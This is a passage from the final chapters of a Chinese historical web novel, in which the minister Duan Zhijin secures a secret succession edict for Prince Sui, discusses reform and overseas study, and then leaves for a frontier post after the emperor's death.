“旧太子的余党苏橙一类的人,自然是供你差遣,但是平日里你要与他们保持距离,就算灵慧是你的姐姐也要注意分寸,没事儿不许再往他那里去,不到最后关头不要和他们纠缠。此外你三个的那些人,方叙墨之流你也不要针对他们,他们愿意怎么蹦哒就怎么蹦哒。现在你要争取的人是外文学堂和庶常馆的学生们,他们平日里习洋文,现在学洋务,是新政最坚定的支持者,其中你自己也知道,孙长科是里边的翘楚。但是用金钱来收买是最下等的办法。” 纪明瑚了然,庶常馆中优异者才可进入外文学堂,而进入外文学堂的人无一例外高升,孙长科从河田府回来就去了理藩院做郎中,比那些苦熬着的人不知快多少倍。 因而新科进士,除了一甲之外,全都削减了脑袋想去外文学堂,但一旦进了外文学堂,就无可避免地打上新政的烙印,只有下一任君主是新政坚定的支持者,他们的努力才能不白费。 所以纪明瑚要做的,就是顺从本心,往死里卷新政。 他一边思考,一边把米饭吃了个精光,盘里的两三斋菜也叫他一人吃了个干净,段之缙想要下筷却只有些汤汤水水了。 他啧啧称奇:“怎么瞧着你饭量长了这么多?不是素来说你的王妃能吃呢?怎么叫她带成了这样?” 纪明瑚把海碗中最后一块儿小白菜咽下肚:“我啊?自跟着父皇之后,差点儿给我累死。寅时就起身往养心殿去,先照父皇吩咐诵经读书给他听,又要服侍他 用早膳,我自己就只能匆匆忙忙吃一点儿。若是三哥来读写折子,我就得满部院里跑,中午都不一定能吃上。若是我去读写折子,那还要兼着传旨,更得满部院跑,中午仍然要先服侍父皇用膳,自己只能胡乱吃点。就晚上就这一顿能吃顿饱的。” 他说完深吐一口气:“我为了这口饱饭,还爬了这么长时间的山路,段师傅,你说我能不饿吗?” 段之缙哈哈大笑:“可见之前是太娇惯着你了,现在这样磋磨不仅没见瘦,反而胖了不少,也没生病。”说完段之缙离开,去沈白蘋那里吃饭,纪明瑚吃完饭连夜下车,回去守着即将生产的侧妃。 春天来后,绥王得了两个小女孩儿,段訚亦得了一个女儿。 段诠也终于逃离尚书房,离了自己父亲的眼皮子,跑去国子监学习。 坐监,坐监,真跟坐监牢是一样的,一月回来一次,叫新婚燕尔的小夫妻难舍难分,段诠厌学情绪更重,挨了段之缙一顿责骂才悻悻走了,和刚去尚书房时一个样子。 但是时间只会前进,从不后退,有新生命的诞生,就会有旧生命的消逝,东宫惠安太后从冬日里心情就烦闷,过了春竟然病了,这一病便是药石罔效,到夏天时,也算高寿的老太后便撒手人寰,驾鹤西去了。 夏日里的京城日头最毒,皇帝茶饭不思,刚出了二十七日热孝,白幡还没撤下来的时候,皇帝在朝堂上当众晕倒,这一次的情况比以往更为严重,吃饭都要人喂到嘴中。 而段之缙也终于回到了军机处与内阁,他首要面对的,就是又一轮立太子的风潮。 但作为读者,也略通医术的段之缙很明白,皇帝还没到山穷水尽的时候呢…… 第163章 163纪禅的脾气也是怪,只…… 纪禅的脾气也是怪,只要还醒着,能说话,就要把权力攥在手里,所以刚能起身的时候,段之缙的汇报对象就从两位皇子变成了皇帝,又凑巧,今日要报的事情里就有立太子的事宜。 养心殿四角堆着成块儿的大冰,冻得段之缙打了个哆嗦,先汇报起洋人教师的事情。 “现在外文学堂已经开始教授物理、化学之学问,有一部分庶吉士的成绩很好,臣想着可以派他们去教授工匠。蒸汽机一事虽还没有很大的进展,但是我们已经找到了使其驱动船只的方法。” 皇帝吃完药后点点头,一字一顿地回道:“这个事儿,你自己多操心,跟他们说,只要能改良了船只,朕就给他们封爵。但是外夷到底是外夷,不得不防,他们教得东西不一定是真的,还要验证了才能做准。”往日里他能说不少话,现在也只能言简意赅了。 “是,臣明白。还有五岛来归民众安置的事情,臣等商议的结果是为其在河田府分地置产,同时朝廷无息借贷给他们,供他们安定下来。” 毕竟百姓不愿意成为化外之民也是正常,朝廷不能不管他们。 “还有吗?” “呃,还有一件事,臣擅自做主,已经留中不发了。” “什么事儿?” “立太子。” “哦,那就先留中吧。” 皇帝叫旁边的纪明瑚去批了,又吩咐段之缙:“朕身子不爽利,想出去透透气,你去部院里安排一下,一切从简,朕要去塞北行宫避暑。” 这样的身子还想去塞北避暑? 段之缙连忙劝说,纪明瑚也跪下来恳求,但皇帝若能听劝,他就不是纪禅了,一言不发,消极对抗,段之缙也只好去各部院安排。 也难为他,刚没了养母,想要出去散散心也是正常。 皇帝出去了,自然要有人监国,他安排得甚有意思,把长乐王留京监国,苏橙和方叙墨做辅助,带走了郑楒琅和段之缙,以及所有的皇子、公主和后妃,本想着把惠文太后也带上,但太后年纪太大,日头太热,还是没敢劳累凤体。 说是一切从简,但出行的队伍仍然是旌旗遮天蔽日,外围是两万禁军,皇帝的车驾被包围在最中间,后边依次跟着他的后妃、儿女、带来的宗室和他们的家眷,最后是大臣和他们的家眷。 但段之缙可不在后边,他和郑楒琅二人天天守在前边汇报政务。 说来也奇,也许真是叫京里闷的,皇帝一出京说话也不困难了,在车驾上神采奕奕,除了手抖得厉害没一点儿毛病,竟看不出什么病态。 这一路上也算是顺利,到了塞北之后皇帝下令组织围猎,他虽不能下场,但也看得津津有味,甚至命人驱鹿至其身前,也开弓射了一箭。 只可惜终究是老了,手也抖得厉害。 不过他似乎已经接受了这个现实,自己释怀一笑,叫人扶着回座位上了。 他瞧瞧跟在身边的纪明瑚,问道:“旁人都去了,你怎么不去?” “回父皇,儿臣身子弱,还是跟在父皇身边伺候着吧。” 皇帝仔细端详了他日渐圆润的脸,狡黠一笑:“不尽然吧?朕看你的懒病犯了,不想要去吃累。” 纪明瑚只称是。 皇帝叫他在身边坐,过了一会儿鼻尖一耸动,攒眉道:“怎么这么重的檀香气?烟熏火燎的,你的太监呢?” 粟禾子赶紧上前回话:“回陛下,我们王爷夜里诵经染上的香气,带来的衣裳全是这个味儿了,实在去不掉。” “你诵的什么经书这般用功?” “《金刚经》、《地藏经》、《无量寿经》一类。” 他这样说,皇帝便全明白了,是在给自己祈福。 “唉……若是这东西有用,最该万岁万岁万万岁的是和尚才对。仔细着你自己的身子,不要太劳累。” 纪明瑚口上答应下来。 没过一会儿,下场围猎的侍卫、皇子和宗室们也就回来了,按照猎物大小和数量排名,竟然是长乐王世子纪明煜排名第一,皇帝看着那成堆的兔子、狐狸,还有一头野狼开怀大笑:“很像你父亲,到底是虎父无犬子,可惜长乐王没来。赏你……第一只鹿尾赏你。” 逐“鹿”天下,鹿尾又格外的香醇,口味厚重,算得上是美味,第一只都是皇帝先用,剩下的赐给皇子王公,现在这一整只赏给了纪明煜,倒是省下了纠纷——皇帝压根不能吃鹿尾,赏给哪个皇子都是风波。 纪明煜谢恩,同纪明瑚两个人一起凑在皇帝身边说话,没一会儿,绥王妃便牵着纪焕上前,所谓天伦之乐不过如此。 自出了京,一切烦心事儿都淡忘了,京中有长乐王在皇帝也放心,属实是过了挺长时间的舒心日子。 但塞外天气多变,转瞬之间入了秋,别说本就是病人的皇帝,连素来身体强壮的段之缙 等人也染上了风寒,皇帝更是发起了高热,旧疾复发。 这一次,他整整昏迷了两日,近乎生死一线,别说群臣,就连段之缙也心惊胆战,若挺不过去,遗诏所书之人定然是纪明祚。 原本开怀的日子一去不复返,未染疾的人轮流照顾,痊愈的人也挨个顶上,终于把皇帝盼醒。 群臣再难以忍受储位不定的恐慌,在御帐之前请命,立太子以安民心,定储位以明尊卑。 皇帝只叫段之缙去传口谕,身后之事他早有打算,立太子一事实属无益。而后下令返程,想要回京养病。 可树欲静而风不止,身轻气虚的皇帝在车驾上养病的时候,翰林院学士竟敢阻拦车驾,想要以死请求册立太子。 皇帝病中气急攻心,只觉得头晕目眩,膝盖一软就倒了下去,一瞬间兵荒马乱,皇子扶着他躺倒榻上,太医匆匆赶来,急急施了几针皇帝才稳定下来,大家鹦鹉学舌,说着老一套的话劝陛下息怒。 这是多少次了? 皇帝记不清。 在病中,他再也感受不到往日的关怀和亲切,只觉得大臣在逼凌他,想要叫他退位让贤。 李渊…… 李隆基…… 皇帝看着满脸大汗劝他息怒的纪明祚,忽然想问问这个孩子,他会是李世民吗? 可皇帝很快冷冷一笑,可惜这里没有李渊。 当大家的精神集中在御榻上,皇帝的目光紧盯着纪明祚的时候,段之缙两下把纪明瑚拽到了后边,低声道:“现在,把墙上的剑拿下来,去杀了外边那两个翰林。” 纪明瑚瞠目结舌,低声吓道:“你疯了?!” “别怕,能不能成就在此一举了!” 纪明瑚看着前边“父慈子孝”,皇帝不错眼地看着纪明祚一咬牙,当真拔下了墙上挂着的剑,转身向外走去。 段之缙“砰”的一声跪下,死死抱着纪明瑚的腿大声嚷道:“殿下!你不要冲动啊殿下!” 所有人的目光都转移过来,郑楒琅不知究竟怎么回事,但君前见刃大为不妥,他一下子挡在皇帝身前:“绥王,你先把剑放下!” 皇帝也气若游丝地问道:“你要做什么去?” “儿臣要去杀了那两个不忠不孝的畜牲!”他回头,满脸泪,“父皇已经连下两次圣旨,已有遗诏,他们为何要如此相逼,以臣凌君,以子逼父,不忠不孝,该千刀万剐以息父皇之愤!” 皇帝忽然叫他上前来,看着他死死把住利刃的手,无一丝害怕与防备,猛地将他抱在怀里,混浊的眼睛里泪水潸潸而下:“好孩子,好孩子……” 他把纪明瑚的手拿起看了看,仔细端详了儿子日渐结实的身体,忽然说了一句意味不明的话:“你小时候身子不好,但也难保是大难不死必有后福啊……” 他倒也不是真想更换储君,只是想转移朝臣的注意力,别闹得像是天命所归,纪明祚不立马登基,雍朝就要亡了。 段之缙狠狠一闭眼,好了,无论最后皇帝如何设想,纪明瑚都已经彻底加入战场了,朝臣们不会再把他当成普通的皇子,他是纪明祚理所当然的竞争者了。 大家各有心思,只纪明祚心中一片寒冰,只觉得父皇反复无常。 圣驾最终回到了京城。 …… 上天再一次眷顾了皇帝,他又挺过了这一遭,但糟糕的身体情况叫他无法再如往常一般总揽政事叫他人辅助,有些事情不得不全然托付给大臣和皇子。 户部归纪明瑚,吏部给纪明祚,其他四部分派给内阁大臣,地方上段之缙主管东南、河田、辽河对外通商已经东南水师建设的事务,京内的外文学堂和蒸汽机改良也归他管理。 虽然皇帝身体不适,但日子一天天过去,新政的脚步没有一天停下,没过多久,又在赤砂开边通商,预备重走丝绸之路。 而随着这些新政的进行,学习并且真正赞成新政的纪明瑚表现得比纪明祚好太多,他身边围绕着的俱是朝堂的新人和各部的官吏。 时光渐去,原本确定的事情变得不确定,皇帝真的在双生子之间犹豫起来,然他的身子愈发不好,过度的集权对他的生命造成了无可挽回的损害,段之缙有预料,或许皇帝会在建储一事上问问他,而在那之前,他还有话要问纪明瑚。 两人仍是在卧佛寺商议,真正入朝堂奔波两年后,纪明瑚整个人都沉静了下去,严苛和亲切竟不违和地出现在同一个人脸上,行事虽仍免不了天生的急躁刻薄,但比之以往好了很多。 他入卧佛寺先去和小活佛参了会儿禅,这才跑来找段之缙:“段师傅,可有什么事儿?您也是好长时间没来找我了。” 段之缙坐在他的对面微微一笑:“殿下,臣有要事相问。” “您讲?” “若殿下能够登基,新政要如何推行?” “我听那些传教士说,他们的国家水师所向披靡,能够跨越汪洋去攻打蛮夷,把礼教传授过去。因而我想,第一步仍然是要建设水师,虽不敢与别国相提并论,但也不能任人宰割,如同之前那般在近海被人打得落花流水。” 他想了想又说:“此外,商税也要更改,现在税赋太杂,什么落地税、牙税、契税……既不利于我衙门催征,也给了贪官污吏横征暴敛的机会,反倒是败坏吏制。倒不如全限为关税,按照货值催征,至于是谁交赋税,在所不论。” “东部沿海一带倒还有几个码头很适合停靠,应当开海贸易……” 他零零散散说了一堆,无非是降田赋而收商税,段之缙问道:“殿下有没有想过叫本国的商人出海贸易?” 纪明瑚脸色突变,而后笑道:“段师傅,您说我敢叫商人们出海去洋人那里贸易吗?他们可以威逼皇帝,胁迫君主的货色!别沾染了些坏毛病回来。” 段之缙了然,他们知道西洋发生了什么,甚至知道的比自己更深,但正因为知道所以才不愿意叫商人们离国。 重农抑商……商人在他们心中永远是不安定分子,永远是防范的对象。 段之缙向他提议:“殿下,商人们不能离国,我们却可派遣国子监的学生或是庶常馆的庶吉士去西洋学习,不为别的,只为互通有无。如他们的医术,他们的火炮,他们的各种机械、显微镜等,不都很值得学习吗?且学生和进士们对朝廷忠心耿耿,想必不会沾染些坏习气回来。” “我们已经落下了太多,与其自己闭门造车,倒不如直接学人家的。” 纪明瑚反问:“你为什么不向父皇提议?” “臣提了。”段之缙无可奈何:“但殿下要知道,陛下已经老了,他的奋进之志已经不如年轻之时了。” 纪明瑚捻着手里的佛珠蓦然一笑:“背地后里,就这么编排皇上……你说的有道理,与其闭门造车,倒真不如直接学西洋的。” “臣还有一事相求。” “段师傅请讲。” “若殿下能够登基,还请将臣外放到岭南或者赤砂去。” 纪明瑚一愣:“怎得走得那么远,若我能登基,你仍为军机大臣、内阁学士不好吗?” 段之缙摇头:“殿下,京中风波不断,臣这几年只觉身心俱疲,若一直在京中,臣只怕活不到七十致仕,倒不如放臣去东南或赤砂,做地方官才是臣的归宿。” 纪明瑚叹气:“你要弃我而去,我也只能答应。” 段之缙得了他的保证,放下心来。【你现在阅读的是 】 第164章(完结) 第164章 164(完结)段之…… 段之缙从山上下来之前,又去正殿拜过了佛祖金身,祈求一切顺利,叫纪明瑚稳妥地登基,这才下山回家。 人年纪大了都一个样儿,全都有病有痛,王虞这些日子也很不舒坦,总是觉得胸闷气短,叫中医西医都看了,也没个结果,西医又提出放血疗法叫段之缙大为无语,最后听从中医的补气疏经,但也没什么效果。 可能就 是人的年岁到了。 段之缙回到家中后先去问候了母亲,比老太太还啰嗦,叮嘱着她少吃甜食,直到王虞烦得不行叉开话题问道:“旗丫头现在有消息了吗?” 是问怀孕的事情。 段之缙一边削苹果,一边回道:“没呢。” 王虞瞧他满不在乎的样子就来气:“你能不能上些心!可就这么一棵独苗,实在不行就纳妾。” “嗨……他们俩才成婚多长时间啊,锁儿又在国子监上学,哪有功夫要孩子?我也是二十八岁上才有了锁儿,呃……好饭不怕晚,催着人家要孩子做甚?” 说完他又想起自家人丁稀薄的惨样儿,开玩笑道:“我和弟弟都是子嗣不丰的,小辈们生不出孩子的缘由该找到我们头上来。” 王虞想了想很有道理,沈白蘋自然是能生育,可几十年就一棵独苗,就应该找段之缙的原因,再想想段之绪,也是只有两个孩子。 段訚也是成亲很长时日后才生育了第一个丫头,至今仍是没有消息。 说不得呢……可怜好姑娘砸在了段家。 不过她又想起了一个事情:“若是一直不生育,爵位如何是好?”这一等公爵位可是世袭罔替的,不能平白因无人继承被收回去。 “难道要从淮宁找嗣子?” 段之缙把削干净了的苹果递给她:“哪就想这么长远了?您还是好好歇着吧。再说了实在是没招,珠珠不还有个丫头吗?我以死相求,求皇上把爵位传给她不就好了?” 王虞以为他又在说些玩笑话,气得叫他滚,段之缙也只能灰溜溜走了,回房躺着。 屋子里,沈白蘋在算育婴堂、绥王府的账本。 育婴堂本来就是她的差事,绥王府却是因为小年轻刚出来过日子,绥王妃连账都算不明白,只能请外援。 沈白蘋见他回来忙问:“绥王答应了吗?” “自然是答应了。” 沈白蘋这才笑,段之缙也笑,叫她不要高兴得太早,“万一绥王不能登基,那你不是白折腾了?” “那有什么?若是绥王不能登基,咱们被流放也能流放到赤砂不是?” “啊?那倒也没错。”现在西南、东南和辽河流放的人已经太多了,赤砂成为新的流放圣地。 沈白蘋把账本合上放好,和段之缙二人躺在床上,喃喃道:“我还从来没见过草原呢……” “胡说!去塞北行宫不都是草原吗?你还跟着绥王妃打兔子去了。” “哦哦,塞北也是……我还从没去过赤砂呢,也没看过海。等着以后外放,若去赤砂,我就跟当地的人学放羊,牧马,听说他们用奶煮茶喝,和咱们这里很不一样,也要试试。” “若是去了东南,我就登洋人的船看看,我还从来没上过海船呢。” 段之缙嗤嗤地笑:“都是叫云霓勾的你,也是在京里闷的,若不然,不会想着去那些地方。” 的确如此,自段云霓舍下孩子跟着宋征舆外放之后,便几日一封信地送回京城,说辽河的气候,植被、山水、鸟兽都让她写了个遍,和罗刹通商之后更是没完没了地写。 写他们或蓝或绿的眼睛,洁白的皮肤,写他们胡子拉碴一点儿都不干净。 她胆子也大,竟然叫宋征舆和罗刹人谈条件,带着她出海转了一个时辰,就这一件“小事”,足足说了四五次,写了几十张纸。 她年少时钟爱的游记,终于变成了现实。 不像是京里,巴掌大的地方严进严出,若没有许可连内城都不准出,一辈子像是关在鸽子笼里。 而这一切都快要结束了。 …… 段訚殿试过后成功进入庶常馆学习,他殿试名次虽不如段之缙但年纪比当时的段之缙年轻太多,又是段之缙的亲侄子,很受重视,早早进了外文学堂,段之缙常来和他说话,有时给他送些东西。 这日里正是外文学堂的季考,段之缙总理外文学堂事务,自然要监考,但考试进行到一半,吕太清竟然出现在门口。 “段中堂,皇上召见。” 段之缙跟着出去,半路给他塞了一个荷包问道:“公公可知是什么事情?” “这……这咱可不知道,不过皇上晨起时头疼,躺了好长时间才起身。” 头疼?那该心情不好了,等会儿小心点才是。 段之缙一进养心殿,皇帝就叫所有人退下,独留段之缙在身前坐着。 但他一言不发,想了好长时间才开口:“朕有个事儿拿不准主意,想着找个人问问,可思来想去,能问的就只有你。” 段之缙心如擂鼓,已经猜到皇帝想要问什么了,果然就听皇帝问道:“你觉得若要立太子,是三皇子合适还是绥王合适?” 段之缙离座跪下:“臣以为绥王更为合适。” 皇帝又不说话,直到段之缙双腿跪得酸麻他才幽幽开口:“你是绥王的师傅嘛……” “若陛下以为臣是因此举荐皇子,那臣必然要解释一番。” “那你说,三皇子为何不行?” “臣是为新政计,皇上为改革朝政呕心沥血,非意志坚定之君不能为,究其根本是因为陛下本身便极为赞成新政,新政是陛下一手主导的。但后继之君呢?若后继之君不能继承陛下的意志,或非意志坚定,则摊丁入亩乃至开口通商,倾覆即在瞬息之间。历代想要刷新吏治而后继乏力者数不胜数,北魏文帝改革,乃至庆历新政,后来闹得天下大乱未尝没有后继无人的缘由。臣是不想陛下的心血付之东流。” 他说的自然有道理,皇帝担心的也就是这个,但…… “朕只怕兄弟相杀,闹出来人伦惨剧。” “陛下多虑了,若兄弟相杀,三皇子登基也是一样的。绥王与三皇子一母同胞,同胎所出岂会自相残杀?再者,陛下也可为三皇子留下遗诏,保他一辈子平平安安,再者有安贵妃在,绥王仁孝总不会违逆母亲。” 皇帝支吾一声,“但是绥王的身子,他到底是有些先天不足的症状。” “如今天下太平,赤砂、高地、西南都安分守己,小活佛也即将启程归化黎众,四海升平无战乱,我朝之敌只有外夷人,绥王又并不需要亲自率众作战,有一个好身子不过是锦上添花。臣以为三代圣主,皆为垂拱而治,而民风淳朴、物阜民丰,行善政非需多么强健的体魄。” “绥王渐长,他的身体也强健起来,未有什么不足之症。再者,陛下也改为平王思量思量。臣还是那句老话,治立,承乾和泰才都能安享富贵。” 治立,则承乾与泰皆无恙矣…… 那个一无是处的大儿子,当他继承人的时候,皇帝怎么看怎么不顺眼,但现在大儿子成了平王,他后知后觉地开始为老大考 虑。 在二十年前,也是这句话,“治立,则承乾与泰皆无恙矣”,劝服皇考立自己为太子,可结果呢?誉王、肃王…… 事情临到自己,他陷入了与皇考同样的窘境,如何保全自己的子嗣成为立储避不过去的难关。 与平王亲善,又绝不会杀同胎哥哥的绥王无疑是极好的选择。 皇帝叹了口气:“是了,你说得对……去叫钦天监挑个好日子,朕要册立太子。” “臣以为不必册立太子。” 那他刚才说了一顿是为何?皇帝看着他,神色有些莫名其妙,段之缙答道:“回陛下,册立太子也只不过是叫他们兄弟相争,不如仍同以往所言,诏告天下以遗诏立储,收于养心殿或乾清宫匾后,此即可无储位之争,消结党之祸。” 此为一,二则是册立太子风险太大,一个行将就木的皇帝和一个年轻力壮的太子,老皇帝猜忌来猜忌去容易心理变态,再给纪明瑚废了可就前功尽弃了。 皇帝大为称赞:“好!果然是你!那就替朕拟旨吧!” 段之缙为他书上谕,又照其所述书遗诏,亲手放在了养心殿勤政亲贤匾之后,心中的大石头蓦然落地。 现在不说百分之百,但也已经是十有八九了。 自秘密建储之后,纪明祚和纪明瑚两兄弟便轮流祭天、祭地,但因为皇帝早有上谕,天下皆知储位已定,群臣便也不敢随意站队,闹得轰轰烈烈的立太子风波终于过去,叫皇帝过了两年舒心日子。 等到景淳二十年,工部终于研究出新型火炮的时候,已经被疾病折磨了许久的皇帝,终于迎来了彻底的解脱。 他比其父皇幸运得多,在他尚未咽气的时候,段之缙便从勤政亲贤匾后拿下了遗诏宣读,不仅确立了继承人,更将剩余的儿子一体封王,连不满十岁的孩子也全都出宫建府。 嗣皇帝为他换上衣服,含饭,又移灵柩于乾清宫设灵堂。 一切有条不紊地进行,与二十年前那场滑稽剧可谓天壤之别。 不过嗣皇帝仍然捡起了他父亲的老法子,借先帝之丧严查礼仪,大肆清扫政敌,风暴一直到皇帝下葬。 等他把宗室和朝臣打了个七七八八,整个朝堂拢在袖中之时,距离先帝驾崩也不过半年,一经稳定新政立刻迈上了新的进程。 他履行了承诺,无论是外放还是派人出使西洋。 段之缙多番征求之后,由孙长科带队,带着外文学堂的学生及其家眷从海上出发前往西洋,段诠正在其中。 临行前家里人在码头送行,段诠和邹云旗光护身符就带了好几个,阿娘和母亲都已经泣不成声。 她们年纪大了,还不知能不能再见。 好说歹说把她们劝回马车,又轮到段之缙叮嘱:“你俩去了西洋要多学多看,没事儿出去溜达但不要去有疫的地方,多吃饭多睡觉,但别沾染那些恶习。现在是学习的好年纪,就是去码头扛大包都比别人力气大,别急着生孩子,等着你们回家安定了再考虑,你要是在外边生了孩子,孙长科是不会帮你们带孩子的。” 沈白蘋也说:“你俩自己有分寸,该嘱咐的也都嘱咐了,等着我和你父亲去了赤砂咱们还能从陆上通信。” 远处,官员们已经催促学生上船,泪水流了一筐还是要分别,幸好现在有蒸汽船,虽不敢说别的,安全性比之前提高不少。 再想法子把火炮弄上,就要准备收回五岛了。 送走段诠,再转年就是成熙元年,段之缙也领旨去赤砂。 这一次上任比之前从容许多,提前招募了师爷,一路上看着植被变化,秃树变枯草,到达之时已经三月初,赤砂的新草还没有长出来。 而这就是他们日后的居处,建设这里就是他们余生的事业。【你现在阅读的是 】